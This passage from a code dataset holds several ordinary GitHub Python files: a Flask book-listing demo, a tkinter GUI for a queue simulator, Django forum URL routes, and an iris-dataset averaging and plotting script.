count_instance=random.randint(MIN_INSTANCE, MAX_INSTANCE),\n author_id=random.choice([1, 2, 3]))\n db.session.add(new_book)\n db.session.commit()\n print('Add book')\n\n\n@app.route('/show-books/')\ndef show_books():\n books = Book.query.all()\n authors = Author.query.all()\n context = {'books': books,\n 'authors': authors}\n return render_template('page02.html', **context)\n\n\nif __name__ == '__main__':\n app.run(debug=True)\n","repo_name":"Gibeon228/Framework_Flask_and_FastAPI","sub_path":"Framework_Flask_and_FastAPI/Seminars/seminar3/app02.py","file_name":"app02.py","file_ext":"py","file_size_in_byte":2354,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"41619404224","text":"import tkinter as tk\nfrom tkinter import ttk\nimport tkinter.filedialog\nimport pickle\n\nimport Component\nimport Simulation\nimport numpy as np\n\nclass guiMain(tk.Frame):\n def __init__(self,root):\n\n super().__init__(root)\n\n self.root = root\n self.root.title('OpenQSIM')\n\n self.winWidth = 1024\n self.winHeight = 768\n self.winSize = str(self.winWidth)+'x'+str(self.winHeight)\n print(self.winWidth)\n print(self.winHeight)\n\n self.root.geometry(self.winSize)\n print('Main GUI ready....')\n\n self.Menu = tk.Frame(self.root,borderwidth=2,relief=tk.RIDGE)\n self.Menu.place(x=0,y=0,height=50,width=1023)\n\n self.btRun = tk.Button(self.Menu,text='Save',command=self.save)\n self.btRun.place(x=0,y=0,height=46,width=49)\n\n self.btStop = tk.Button(self.Menu,text='Load',command=self.load)\n self.btStop.place(x=50,y=0,height=46,width=49)\n\n self.btRun = tk.Button(self.Menu,text='Run',command=self.run)\n self.btRun.place(x=120,y=0,height=46,width=49)\n\n self.btStop = tk.Button(self.Menu,text='Stop',command=self.stop)\n self.btStop.place(x=170,y=0,height=46,width=49)\n\n self.timeVar = tk.StringVar()\n self.labelTime = tk.Label(self.Menu,text=\"Simulation time:\")\n self.labelTime.place(x=230,y=3,height=40,width=100)\n self.textTime = tk.Entry(self.Menu,bd = 3,textvariable=self.timeVar)\n self.textTime.place(x=330,y=3,height=40,width=50)\n self.labelUnit = tk.Label(self.Menu,text=\"s\")\n self.labelUnit.place(x=380,y=3,height=40,width=20)\n self.timeVar.set(\"1000\")\n\n # self.btResult = tk.Button(self.Menu,text='Result',command=self.result)\n # self.btResult.place(x=420,y=0,height=46,width=49)\n\n self.labelMode = tk.Label(self.Menu,text=\"Mode:\")\n self.labelMode.place(x=480,y=3,height=40,width=50)\n self.modeVar = tk.StringVar()\n self.optionMode = tk.OptionMenu(self.Menu, self.modeVar, \"Standalone\", \"Comparison\", command=self.setMode)\n self.modeVar.set(\"Standalone\")\n self.optionMode.place(x=530,y=0,height=46,width=110)\n\n self.runSim = True\n\n\n self.moduleMenu = tk.Frame(self.root,borderwidth=2,relief=tk.RIDGE)\n self.moduleMenu.place(x=0,y=50,height=717,width=150)\n\n self.btSrc = tk.Button(self.moduleMenu,text='Source',command=self.create_src)\n self.btSrc.place(x=0,y=0,height=75,width=146)\n\n self.btQueue = tk.Button(self.moduleMenu,text='Ticket Machine',command=self.create_server)\n self.btQueue.place(x=0,y=75,height=75,width=146)\n\n self.btSwitch = tk.Button(self.moduleMenu,text='Switch',command=self.create_switch)\n self.btSwitch.place(x=0,y=150,height=75,width=146)\n\n self.btJunction = tk.Button(self.moduleMenu,text='Junction',command=self.create_junction)\n self.btJunction.place(x=0,y=225,height=75,width=146)\n\n self.btLine = tk.Button(self.moduleMenu,text='Link',command=self.create_line)\n self.btLine.place(x=0,y=300,height=75,width=146)\n\n self.workSpace = tk.Canvas(self.root, width=1023, height=700,background='white')\n self.workSpace.place(x=150,y=50, width=873, height=700)\n self.workSpace.bind(\"\",lambda e: self.rightClick(e))\n self.gridsize = 5\n for col in range(1,1023//(self.gridsize*10)):\n self.workSpace.create_line(col*self.gridsize*10,0,col*self.gridsize*10,717,tags=('grid'),fill='lightgray')\n for row in range(1,717//(self.gridsize*10)):\n self.workSpace.create_line(0,row*self.gridsize*10,1023,row*self.gridsize*10,tags=('grid'),fill='lightgray')\n\n self.modules = {}\n self.lines = {}\n\n self.select_object = -1\n\n self.sim = Simulation.simulation(self)\n\n self.mode = \"Standalone\"\n\n\n##########################################################\n####### Set Mode #######\n##########################################################\n\n def setMode(self, val):\n self.mode = val\n\n self.modules = {}\n self.lines = {}\n\n self.workSpace.delete('all')\n\n for col in range(1,1023//(self.gridsize*10)):\n self.workSpace.create_line(col*self.gridsize*10,0,col*self.gridsize*10,717,tags=('grid'),fill='lightgray')\n for row in range(1,717//(self.gridsize*10)):\n self.workSpace.create_line(0,row*self.gridsize*10,1023,row*self.gridsize*10,tags=('grid'),fill='lightgray')\n\n if self.mode == \"Comparison\":\n self.workSpace.create_line(0,7*self.gridsize*10,1023,7*self.gridsize*10,tags=('grid'),fill='gray',width=4,dash=(3,5))\n\n\n##########################################################\n####### Save #######\n##########################################################\n\n def save(self):\n directory = tk.filedialog.asksaveasfilename(filetypes = ((\"qsim files\",\"*.qs\"),),defaultextension='.qs')\n with open(directory, 'wb') as file_object:\n pickle.dump(self.modules, file_object)\n pickle.dump(self.lines, file_object)\n\n##########################################################\n####### Load #######\n##########################################################\n\n def load(self):\n directory = tk.filedialog.askopenfilename(filetypes = ((\"qsim files\",\"*.qs\"),),defaultextension='.qs')\n with open(directory, 'rb') as file_object:\n modules = pickle.load(file_object)\n lines = pickle.load(file_object)\n self.modules = {}\n self.lines = {}\n\n module_match = {}\n\n self.workSpace.delete('all')\n for col in range(1,1023//(self.gridsize*10)):\n self.workSpace.create_line(col*self.gridsize*10,0,col*self.gridsize*10,717,tags=('grid'),fill='lightgray')\n for row in range(1,717//(self.gridsize*10)):\n self.workSpace.create_line(0,row*self.gridsize*10,1023,row*self.gridsize*10,tags=('grid'),fill='lightgray')\n\n self.mode = \"Standalone\"\n self.modeVar.set(\"Standalone\")\n for Id in modules:\n x,y = modules[Id].pos\n\n if modules[Id].moduleType == 'Src':\n eId = self.workSpace.create_rectangle(x-20,y-20,x+20,y+20,fill='mediumspringgreen',tags=('module','Src'))\n self.modules[eId] = modules[Id]\n self.modules[eId].eId = eId\n\n if self.modules[eId].group == 2:\n self.mode = \"Comparison\"\n\n elif modules[Id].moduleType == 'Serv':\n eId = self.workSpace.create_rectangle(x-20,y-20,x+20,y+20,fill='deepskyblue',tags=('module','Serv'))\n self.modules[eId] = modules[Id]\n self.modules[eId].eId = eId\n\n elif modules[Id].moduleType == 'Sw':\n eId = self.workSpace.create_rectangle(x-20,y-20,x+20,y+20,fill='gold',tags=('module','Sw'))\n self.modules[eId] = modules[Id]\n self.modules[eId].eId = eId\n\n elif modules[Id].moduleType == 'Junc':\n eId = self.workSpace.create_rectangle(x-20,y-20,x+20,y+20,fill='salmon',tags=('module','Junc'))\n self.modules[eId] = modules[Id]\n self.modules[eId].eId = eId\n module_match[Id] = eId\n print(eId,Id)\n self.modules[eId].in_port = []\n self.modules[eId].out_port = []\n\n if y > 350:\n self.modules[eId].group = 2\n else:\n self.modules[eId].group = 1\n \n tEId = self.workSpace.create_text(x,y+30,text=self.modules[eId].Name,anchor=tk.CENTER)\n self.modules[eId].tEId = tEId\n \n if self.mode == \"Comparison\":\n self.modeVar.set(\"Comparison\")\n self.workSpace.create_line(0,7*self.gridsize*10,1023,7*self.gridsize*10,tags=('grid'),fill='gray',width=4,dash=(3,5))\n\n \n for line in lines.values():\n src = module_match[line[0]]\n pos_src = self.workSpace.coords(src)\n pos1 = (pos_src[2],(pos_src[1]+pos_src[3])/2)\n dst = module_match[line[1]]\n pos_dst = self.workSpace.coords(dst)\n pos2 = (pos_dst[0],(pos_dst[1]+pos_dst[3])/2)\n lId = self.workSpace.create_line(pos1[0],pos1[1],pos2[0],pos2[1],tags=('Line'),arrow=tk.LAST, width=2)\n self.lines[lId] = [src,dst]\n\n self.modules[src].out_port.append((lId,self.modules[src],self.modules[dst]))\n self.modules[dst].in_port.append((lId,self.modules[src],self.modules[dst]))\n\n self.sim = Simulation.simulation(self)\n\n##########################################################\n####### Creat New Component #######\n##########################################################\n\n def create_src(self):\n self.btSrc.config(relief=tk.SUNKEN)\n self.workSpace.bind(\"\",lambda e: self.add_item(e,'Src'))\n \n\n def create_server(self):\n self.btQueue.config(relief=tk.SUNKEN)\n self.workSpace.bind(\"\",lambda e: self.add_item(e,'Serv'))\n\n\n def create_switch(self):\n self.btSwitch.config(relief=tk.SUNKEN)\n self.workSpace.bind(\"\",lambda e: self.add_item(e,'Sw'))\n\n\n def create_junction(self):\n self.btSwitch.config(relief=tk.SUNKEN)\n self.workSpace.bind(\"\",lambda e: self.add_item(e,'Junc'))\n\n\n def add_item(self,event,module):\n dg = self.gridsize\n x,y = event.x//dg*dg,event.y//dg*dg\n\n if module == 'Src':\n eId = self.workSpace.create_rectangle(x-20,y-20,x+20,y+20,fill='mediumspringgreen',tags=('module','Src'))\n self.modules[eId] = Component.Source(eId,[x,y])\n print(eId)\n\n if self.mode == \"Comparison\":\n tEId = self.workSpace.create_text(x,y+30,text=self.modules[eId].Name,anchor=tk.CENTER)\n self.modules[eId].tEId = tEId\n seed = eId\n self.modules[eId].seed = seed\n if y <=350:\n self.modules[eId].group = 1\n y += 350\n else:\n self.modules[eId].group = 2\n y -= 350\n eId = self.workSpace.create_rectangle(x-20,y-20,x+20,y+20,fill='mediumspringgreen',tags=('module','Src'))\n self.modules[eId] = Component.Source(eId,[x,y])\n self.modules[eId].seed = seed\n if y <=350:\n self.modules[eId].group = 1\n else:\n self.modules[eId].group = 2\n \n self.btSrc.config(relief=tk.RAISED)\n\n\n elif module == 'Serv':\n eId = self.workSpace.create_rectangle(x-20,y-20,x+20,y+20,fill='deepskyblue',tags=('module','Serv'))\n self.modules[eId] = Component.Server(eId,[x,y])\n self.btQueue.config(relief=tk.RAISED)\n\n if self.mode == \"Comparison\" and y > 350:\n self.modules[eId].group = 2\n\n elif module == 'Sw':\n eId = self.workSpace.create_rectangle(x-20,y-20,x+20,y+20,fill='gold',tags=('module','Sw'))\n self.modules[eId] = Component.Switch(eId,[x,y])\n self.btSwitch.config(relief=tk.RAISED)\n\n if self.mode == \"Comparison\" and y > 350:\n self.modules[eId].group = 2\n\n elif module == 'Junc':\n eId = self.workSpace.create_rectangle(x-20,y-20,x+20,y+20,fill='salmon',tags=('module','Junc'))\n self.modules[eId] = Component.Junction(eId,[x,y])\n self.btSwitch.config(relief=tk.RAISED)\n \n tEId = self.workSpace.create_text(x,y+30,text=self.modules[eId].Name,anchor=tk.CENTER)\n self.modules[eId].tEId = tEId\n\n self.workSpace.unbind(\"\")\n\n\n##########################################################\n####### Creat Line #######\n##########################################################\n\n def create_line(self):\n self.btLine.config(relief=tk.SUNKEN)\n self.workSpace.bind(\"\",lambda e: self.src_line(e))\n\n def src_line(self,event):\n x,y = event.x,event.y\n src = [item for item in self.workSpace.find_overlapping(\\\n x-20,y-20,x+20,y+20) if 'module' in self.workSpace.gettags(item)]\n \n if len(src) > 0:\n if len(self.modules[src[0]].out_port) < self.modules[src[0]].num_out:\n self.workSpace.itemconfig(src[0],outline='lime')\n pos_src = self.workSpace.coords(src[0])\n pos1 = (pos_src[2],(pos_src[1]+pos_src[3])/2)\n line = self.workSpace.create_line(pos1[0],pos1[1],x,y,tags=('Line'),arrow=tk.LAST, width=2)\n self.workSpace.bind(\"\", lambda e: self.moveLink(e,src[0],line))\n self.workSpace.bind(\"\",lambda e: self.end_line(e,src[0],line))\n else:\n print('Link cannot be created')\n else:\n self.btLine.config(relief=tk.RAISED)\n self.workSpace.unbind(\"\") \n\n def end_line(self,event,src,line):\n x,y = event.x,event.y\n dst = [item for item in self.workSpace.find_overlapping(\\\n x-20,y-20,x+20,y+20) if 'module' in self.workSpace.gettags(item)] #\\\n # and 'Src' not in self.workSpace.gettags(item) and item != src]\n\n if len(dst) > 0:\n if len(self.modules[dst[0]].in_port) < self.modules[dst[0]].num_in:\n pos_src = self.workSpace.coords(src)\n pos1 = (pos_src[2],(pos_src[1]+pos_src[3])/2)\n pos_dst = self.workSpace.coords(dst[0])\n pos2 = (pos_dst[0],(pos_dst[1]+pos_dst[3])/2)\n # line = self.workSpace.create_line(pos1[0],pos1[1],pos2[0],pos2[1],tags=('Line'),arrow=LAST)\n self.workSpace.coords(line,pos1[0],pos1[1],pos2[0],pos2[1])\n self.lines[line] = (src,dst[0])\n\n self.modules[src].out_port.append((line,self.modules[src],self.modules[dst[0]]))\n self.modules[dst[0]].in_port.append((line,self.modules[src],self.modules[dst[0]]))\n\n # self.modules[src].dstOut.append([self.modules[dst[0]],len(self.modules[dst[0]].srcIn)])\n # self.modules[dst[0]].srcIn.append([self.modules[src],len(self.modules[src].dstOut)-1])\n\n else:\n print('Link cannot be created')\n self.workSpace.delete(line)\n else:\n self.workSpace.delete(line)\n \n self.workSpace.unbind(\"\")\n self.workSpace.itemconfig(src,outline='black')\n self.btLine.config(relief=tk.RAISED)\n self.workSpace.unbind(\"\")\n\n##########################################################\n####### Right Click Command #######\n##########################################################\n\n def rightClick(self,event):\n item_list = [item for item in \\\n self.workSpace.find_overlapping(event.x-5, event.y-5, event.x+5, event.y+5) \\\n if not 'grid' in self.workSpace.gettags(item)]\n print(item_list)\n if len(item_list) > 0:\n self.select_object = item_list[0]\n Rpopup = tk.Menu(self.workSpace, tearoff=0)\n if 'module' in self.workSpace.gettags(self.select_object):\n Rpopup.add_command(label=\"Move\",command=self.move_module) # , command=next) etc...\n Rpopup.add_command(label=\"Delete\",command=self.delete_module)\n Rpopup.add_separator()\n Rpopup.add_command(label=\"Properties\",command=self.editPropperties)\n elif 'Line' in self.workSpace.gettags(self.select_object):\n Rpopup.add_command(label=\"Delete\",command=self.delete_module)\n Rpopup.tk_popup(event.x_root, event.y_root)\n\n \n def move_module(self):\n if 'module' in self.workSpace.gettags(self.select_object):\n self.workSpace.bind(\"\", self.moveMotion)\n self.workSpace.bind(\"\",self.moveClick)\n\n def moveClick(self,event):\n pos = [event.x,event.y]\n self.modules[self.select_object].pos = pos\n\n self.workSpace.unbind(\"\")\n self.workSpace.unbind(\"\")\n\n def moveMotion(self,event):\n dg = self.gridsize\n px,py = event.x//dg*dg,event.y//dg*dg\n cor = self.workSpace.coords(self.select_object)\n w = cor[2]-cor[0]\n h = cor[3]-cor[1] \n self.workSpace.coords(self.select_object,px-w/2,py-h/2,px+w/2,py+h/2)\n self.workSpace.coords(self.modules[self.select_object].tEId,px,py+h/2+10)\n \n line = self.modules[self.select_object].out_port\n for l in line:\n lcor = self.workSpace.coords(l[0])\n self.workSpace.coords(l[0],px+w/2,py,lcor[2],lcor[3])\n \n line = self.modules[self.select_object].in_port\n for l in line:\n lcor = self.workSpace.coords(l[0])\n self.workSpace.coords(l[0],lcor[0],lcor[1],px-w/2,py)\n\n\n def delete_module(self):\n if 'module' in self.workSpace.gettags(self.select_object):\n line = self.modules[self.select_object].out_port\n for l in line:\n dst = self.lines[l[0]][1]\n for i,j in enumerate(self.modules[dst].in_port):\n if j[0] == l[0]:\n self.modules[dst].in_port.pop(i)\n\n self.workSpace.delete(l[0])\n del self.lines[l[0]]\n\n line = self.modules[self.select_object].in_port\n for l in line:\n src = self.lines[l[0]][0]\n for i,j in enumerate(self.modules[src].out_port):\n if j[0] == l[0]:\n self.modules[src].out_port.pop(i)\n \n self.workSpace.delete(l[0])\n del self.lines[l[0]]\n\n self.workSpace.delete(self.select_object)\n self.workSpace.delete(self.modules[self.select_object].tEId)\n del self.modules[self.select_object]\n \n elif 'Line' in self.workSpace.gettags(self.select_object):\n src = self.lines[self.select_object][0]\n dst = self.lines[self.select_object][1]\n\n for i,l in enumerate(self.modules[src].out_port):\n if l[0] == self.select_object:\n self.modules[src].out_port.pop(i)\n\n for i,l in enumerate(self.modules[dst].in_port):\n if l[0] == self.select_object:\n self.modules[dst].in_port.pop(i)\n \n self.workSpace.delete(self.select_object)\n del self.lines[self.select_object]\n\n def editPropperties(self):\n propWin = tk.Toplevel()\n module = self.modules[self.select_object]\n propWin.title(\"Properties: \" + module.Name)\n # propWin.geometry(\"500x400\")\n # mainFrame = Frame(propWin)\n # mainFrame.pack(side=TOP)\n nameFrame = tk.Frame(propWin, width=300, height=25)\n nameFrame.pack(fill=tk.X)\n nameLabel = tk.Label(nameFrame,text='Name',width=14)\n nameLabel.place(relx=0.02, rely=0.05, relwidth=0.6, relheight= 0.95, anchor=tk.NW)\n nameVar = tk.StringVar()\n nameEntry = tk.Entry(nameFrame,textvariable=nameVar)\n nameVar.set(module.Name)\n nameEntry.place(relx=0.66, rely=0.05, relwidth=0.3, relheight= 0.95, anchor=tk.NW)\n\n if module.moduleType == 'Src':\n arrFrame = tk.Frame(propWin, width=200, height=25)\n arrFrame.pack(fill=tk.X)\n\n arrLabel = tk.Label(arrFrame,text='Arrival rate(person/min)',width=14)\n arrLabel.place(relx=0.02, rely=0.05, relwidth=0.6, relheight= 0.95, anchor=tk.NW)\n arrVar = tk.StringVar()\n arrEntry = tk.Entry(arrFrame,textvariable=arrVar)\n arrVar.set(str(module.arrivrate))\n arrEntry.place(relx=0.66, rely=0.05, relwidth=0.3, relheight= 0.95, anchor=tk.NW)\n \n seedFrame = tk.Frame(propWin, width=200, height=25)\n seedFrame.pack(fill=tk.X)\n seedLabel = tk.Label(seedFrame,text='Seed',width=14)\n seedLabel.place(relx=0.02, rely=0.05, relwidth=0.6, relheight= 0.95, anchor=tk.NW)\n seedVar = tk.StringVar()\n seedEntry = tk.Entry(seedFrame,textvariable=seedVar)\n seedVar.set(str(module.seed))\n seedEntry.place(relx=0.66, rely=0.05, relwidth=0.3, relheight= 0.95, anchor=tk.NW)\n\n elif module.moduleType == 'Serv':\n\n def setDep(val):\n if val == \"custom\":\n depEntry.config(state='normal')\n else:\n depEntry.config(state='disabled')\n if val == \"BTS A\":\n depVar.set(\"1.28\")#0.021\n elif val == \"BTS B\":\n depVar.set(\"1.48\")#0.024\n elif val == \"MRT\":\n depVar.set(\"1.32\")#0.022\n elif val == \"ARL\":\n depVar.set(\"2.04\")\n\n typeFrame = tk.Frame(propWin, width=200, height=25)\n typeFrame.pack(fill=tk.X)\n typeLabel = tk.Label(typeFrame,text='Type',width=14)\n typeLabel.place(relx=0.02, rely=0.05, relwidth=0.6, relheight= 0.95, anchor=tk.NW)\n typeVar = tk.StringVar()\n typeOption = tk.OptionMenu(typeFrame, typeVar, \"custom\", \"BTS A\", \"BTS B\", \"MRT\", \"ARL\", command=setDep)\n typeVar.set(\"custom\")\n typeOption.place(relx=0.56, rely=0.05, relwidth=0.3, relheight= 0.95, anchor=tk.NW)\n\n depFrame = tk.Frame(propWin, width=200, height=25)\n depFrame.pack(fill=tk.X)\n depLabel = tk.Label(depFrame,text='Service rate(person/min)',width=14)\n depLabel.place(relx=0.02, rely=0.05, relwidth=0.6, relheight= 0.95, anchor=tk.NW)\n depVar = tk.StringVar()\n depEntry = tk.Entry(depFrame,textvariable=depVar)\n depVar.set(str(module.deprate))\n depEntry.place(relx=0.66, rely=0.05, relwidth=0.3, relheight= 0.95, anchor=tk.NW)\n\n plotFrame = tk.Frame(propWin, width=200, height=25)\n plotFrame.pack(fill=tk.X)\n plotLabel = tk.Label(plotFrame,text='Plot',width=14)\n plotLabel.place(relx=0.02, rely=0.05, relwidth=0.6, relheight= 0.95, anchor=tk.NW)\n plotVar = tk.BooleanVar()\n plotCheck = tk.Checkbutton(plotFrame, variable=plotVar)\n plotCheck.place(relx=0.66, rely=0.05, relwidth=0.3, relheight= 0.95, anchor=tk.NW)\n plotCheck.toggle()\n \n def setProp():\n if module.moduleType == 'Src':\n module.Name = nameVar.get()\n module.arrivrate = float(arrVar.get())\n module.seed = int(seedVar.get())\n elif module.moduleType == 'Serv':\n module.Name = nameVar.get()\n module.deprate = float(depVar.get())\n module.isPlot = plotVar.get()\n self.workSpace.itemconfig(self.modules[self.select_object].tEId,text=nameVar.get())\n propWin.destroy()\n\n submitFrame = tk.Frame(propWin)\n submitFrame.pack(fill=tk.X)\n CancelButton = tk.Button(submitFrame,text='Cancel',width=6,command=lambda:propWin.destroy())\n CancelButton.pack(side=tk.RIGHT,padx=5,pady=5)\n okButton = tk.Button(submitFrame,text='OK',width=6,command=setProp)\n okButton.pack(side=tk.RIGHT,padx=5,pady=5)\n \n def moveLink(self,event,src,line):\n px,py = event.x,event.y\n pos_src = self.workSpace.coords(src)\n pos1 = (pos_src[2],(pos_src[1]+pos_src[3])/2)\n self.workSpace.coords(line,pos1[0],pos1[1],px,py)\n \n##########################################################\n####### Simulation Runing Method #######\n##########################################################\n\n def stop(self):\n self.runSim = False\n\n def run(self):\n\n self.runSim = True\n\n time = int(self.timeVar.get())\n if time <= 0:\n time = 100000000\n self.sim.setup(time,False)\n\n for l in self.lines:\n self.workSpace.itemconfigure(l, state = tk.HIDDEN)\n self.sim.run()\n for l in self.lines:\n self.workSpace.itemconfigure(l, state = tk.NORMAL)\n\n # self.result()\n\n\n def result(self):\n\n result_window = tk.Toplevel()\n result_window.title(\"Results\")\n\n records = open(\"traffic_record\", \"r\") \n\n in_list = {}\n out_list = {}\n\n for line in records:\n recs = line.split(\",\")\n for rec in recs:\n if rec != \"\\n\":\n module = rec.split(\":\")[0]\n if module[-2] == 'n':\n if module[:-4] not in in_list:\n in_list[module[:-4]] = tk.IntVar()\n else:\n if module[:-5] not in out_list:\n out_list[module[:-5]] = tk.IntVar()\n \n tk.Label(result_window, text = \"start:\").grid(row = 0, column = 0, sticky=tk.W)\n tk.Label(result_window, text = \"end:\").grid(row = 0, column = 1, sticky=tk.W)\n\n i = 1\n for v in out_list:\n tk.Checkbutton(result_window, text=v, variable = out_list[v]).grid(row=i, column = 0, sticky=tk.W)\n i += 1\n last_row = i\n\n i = 1\n for v in in_list:\n tk.Checkbutton(result_window, text=v, variable = in_list[v]).grid(row=i, column = 1, sticky=tk.W)\n i += 1\n\n if i > last_row:\n last_row = i\n\n def show_result():\n out_l = []\n in_l = []\n\n print(\"start from:\")\n for v in out_list:\n if out_list[v].get() == 1:\n out_l.append(v + \"(out)\")\n print(out_l)\n print(\"to:\")\n for v in in_list:\n if in_list[v].get() == 1:\n in_l.append(v + \"(in)\")\n print(in_l)\n\n queue_time = []\n records = open(\"traffic_record\", \"r\") \n for line in records:\n recs = line.split(\",\")\n start_time = -1\n end_time = -1\n for rec in recs[1:]:\n if rec != \"\\n\":\n module = rec.split(\":\")[0]\n time = float(rec.split(\":\")[1])\n if module in out_l:\n start_time = time\n \n if module in in_l:\n end_time = time\n \n if start_time > 0 and end_time > 0:\n queue_time.append(end_time - start_time)\n break\n \n mean = np.mean(queue_time)\n std = np.std(queue_time)\n print(mean,std)\n\n plt.figure()\n plt.hist(queue_time,20)\n plt.axvline(x=mean, color='#2cf02c')\n plt.axvline(x=mean-std, ls = \"--\", color='#2ca02c', alpha=0.7)\n plt.axvline(x=mean+std, ls = \"--\", color='#2ca02c', alpha=0.7)\n plt.ylabel(\"users\",size=12)\n plt.xlabel(\"waiting time\",size=12)\n plt.title('Histogram of Service Time: Average='+(\"%.2f\" % mean)+'s, SD='+(\"%.2f\" % std)+'s')\n plt.pause(1)\n\n\n tk.Button(result_window, text=\"submit\",command = show_result).grid(row = last_row,column = 0, columnspan = 2)\n\n # start_time = float(rec[0].split(\":\")[1])\n # end_time = float(rec[-2].split(\":\")[1])\n # wating_time = end_time - start_time\n\n # print(sum(Q1)/len(Q1),sum(Q2)/len(Q2))\n # print(len(Q1),len(Q2))\n\n \n","repo_name":"AlbiziaLebbeck/QueueSimulation","sub_path":"GUI_Main.py","file_name":"GUI_Main.py","file_ext":"py","file_size_in_byte":28177,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"33657509950","text":"from django.urls import path, include\nfrom rest_framework.routers import Route\n\nfrom app.urls import router\nfrom . import views\n\napp_name = 'forum'\n\nrouter.routes += [\n # Question View Set\n Route(\n url=r'^forum{trailing_slash}question{trailing_slash}$',\n mapping={\n 'get': 'view_question',\n 'post': 'create_question'\n },\n name='question-view',\n detail=False,\n initkwargs={'suffix': 'View'}\n ),\n\n # Question Home Route\n Route(\n url=r'^forum{trailing_slash}home{trailing_slash}question'\n r'{trailing_slash}$',\n mapping={\n 'get': 'view_home_question'\n },\n name='question-home-view',\n detail=False,\n initkwargs={'suffix': 'Home View'}\n ),\n\n # Question Detail View Set\n Route(\n url=r'^forum{trailing_slash}question{trailing_slash}{lookup}'\n r'{trailing_slash}$',\n mapping={\n 'get': 'view_question_by_id',\n 'patch': 'update_question_by_id',\n 'delete': 'destroy_question_by_id'\n },\n name='question-detail',\n detail=True,\n initkwargs={'suffix': 'Detail'}\n ),\n\n # Answer View Route\n Route(\n url=r'^forum{trailing_slash}answer{trailing_slash}$',\n mapping={\n 'post': 'create_answer'\n },\n name='answer-view',\n detail=False,\n initkwargs={'suffix': 'View'}\n ),\n\n # Answer Detail Route\n Route(\n url=r'^forum{trailing_slash}answer{trailing_slash}{lookup}'\n r'{trailing_slash}$',\n mapping={\n 'get': 'view_answer_by_id',\n 'patch': 'update_answer_by_id',\n 'delete': 'destroy_answer_by_id'\n },\n name='answer-detail',\n detail=True,\n initkwargs={'suffix': 'Detail'}\n ),\n\n # Comment View Route\n Route(\n url=r'^forum{trailing_slash}comment{trailing_slash}$',\n mapping={\n 'post': 'create_comment'\n },\n name='comment-view',\n detail=False,\n initkwargs={'suffix': 'View'}\n ),\n\n # Comment Detail Route\n Route(\n url=r'^forum{trailing_slash}comment{trailing_slash}{lookup}'\n r'{trailing_slash}$',\n mapping={\n 'get': 'view_comment_by_id',\n 'patch': 'update_comment_by_id',\n 'delete': 'destroy_comment_by_id'\n },\n name='comment-detail',\n detail=True,\n initkwargs={'suffix': 'Detail'}\n ),\n\n # Reply View Route\n Route(\n url=r'^forum{trailing_slash}reply{trailing_slash}$',\n mapping={\n 'post': 'create_reply'\n },\n name='reply-view',\n detail=False,\n initkwargs={'suffix': 'View'}\n ),\n\n # Reply Detail Route\n Route(\n url=r'^forum{trailing_slash}reply{trailing_slash}{lookup}'\n r'{trailing_slash}$',\n mapping={\n 'get': 'view_reply_by_id',\n 'patch': 'update_reply_by_id',\n 'delete': 'destroy_reply_by_id'\n },\n name='reply-detail',\n detail=True,\n initkwargs={'suffix': 'Detail'}\n ),\n\n # Info User Detail View Set\n Route(\n url=r'^forum{trailing_slash}info{trailing_slash}user{trailing_slash}'\n r'{lookup}{trailing_slash}$',\n mapping={\n 'get': 'view_info_user_by_id',\n 'patch': 'update_info_user_by_id',\n },\n name='info-user-detail',\n detail=True,\n initkwargs={'suffix': 'Detail'}\n ),\n]\n\nrouter.register('forum', views.QuestionViewSet)\nrouter.register('forum', views.QuestionDetailViewSet)\nrouter.register('forum', views.AnswerViewSet)\nrouter.register('forum', views.AnswerDetailViewSet)\nrouter.register('forum', views.CommentViewSet)\nrouter.register('forum', views.CommentDetailViewSet)\nrouter.register('forum', views.ReplyViewSet)\nrouter.register('forum', views.ReplyDetailViewSet)\nrouter.register('forum', views.InfoUserDetailViewSet)\n\nurlpatterns = [\n path('', include(router.urls))\n]\n","repo_name":"Diaga/knctU-Server","sub_path":"app/forum/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":4045,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"36146228010","text":"import csv\nimport os\nimport numpy as np\nimport matplotlib.pyplot as plt\n\nfrom decimal import *\n\n\ndef process_file(file_name):\n \"\"\"\n Reads given file and sums sepal and petal length for all three classes of iris plant\n\n :param file_name: csv file to be read and processed\n :return: Dictionary of iris classes and their average sepal and petal length\n \"\"\"\n iris_classes = {'Iris-setosa': [0, 0], 'Iris-versicolor': [0, 0], 'Iris-virginica': [0, 0]}\n\n # open file\n with open(file_name, 'r', newline='') as csvfile:\n # read file\n reader = csv.reader(csvfile)\n for row in reader:\n # sum sepal length\n iris_classes[row[4]][0] += Decimal(row[0])\n # sum petal length\n iris_classes[row[4]][1] += Decimal(row[2])\n\n return iris_classes\n\n\ndef process_result(result):\n \"\"\"\n Prints out average sepal and petal lengths for each iris class and returns a 2 lists of corresponding values\n\n :param result: dictionary of iris class with sum of sepal and petal length\n :return: list of average sepal length and list of average petal length\n \"\"\"\n sepal_length = []\n petal_length = []\n\n # iterate through each iris class\n for k, v in result.items():\n # average sepal length\n v[0] = v[0] / 50\n # average petal length\n v[1] = v[1] / 50\n \n sepal_length.append(v[0])\n petal_length.append(v[1])\n\n # print average sepal and petal length\n print()\n print(f'{k}:')\n print(f'Average sepal Length: {v[0]}')\n print(f'Average petal Length: {v[1]}')\n \n return sepal_length, petal_length\n\n\ndef plot_result(sepal, petal):\n \"\"\"\n Plot a double bar graph of each iris class and their average sepal and petal lengths\n\n :param sepal: list of average sepal length\n :param petal: list of average petal length\n :return: None\n \"\"\"\n index = np.arange(3)\n bar_width = 0.3\n\n # bar 1: sepal length\n p1 = plt.bar(index, sepal, bar_width)\n\n # bar 2: petal length\n p2 = plt.bar(index + bar_width, petal, bar_width)\n\n # plot configuration\n plt.xlabel('Iris Class')\n plt.ylabel('Length (cm)')\n plt.title('Iris Class Average Length')\n plt.xticks(index + (bar_width / 2), ('Iris-setosa', 'Iris-versicolor', 'Iris-virginica'))\n plt.legend((p1, p2), ('Average Sepal Length', 'Average Petal Length'))\n \n plt.tight_layout()\n\n # check if output folder exits. If it doesn't, create it\n if not os.path.exists('./output'):\n os.makedirs('./output')\n\n plt.savefig('./output/iris.png')\n\n\nif __name__ == \"__main__\":\n result_dict = process_file('./input/iris.csv')\n sepal_lengths, petal_lengths = process_result(result_dict)\n plot_result(sepal_lengths, 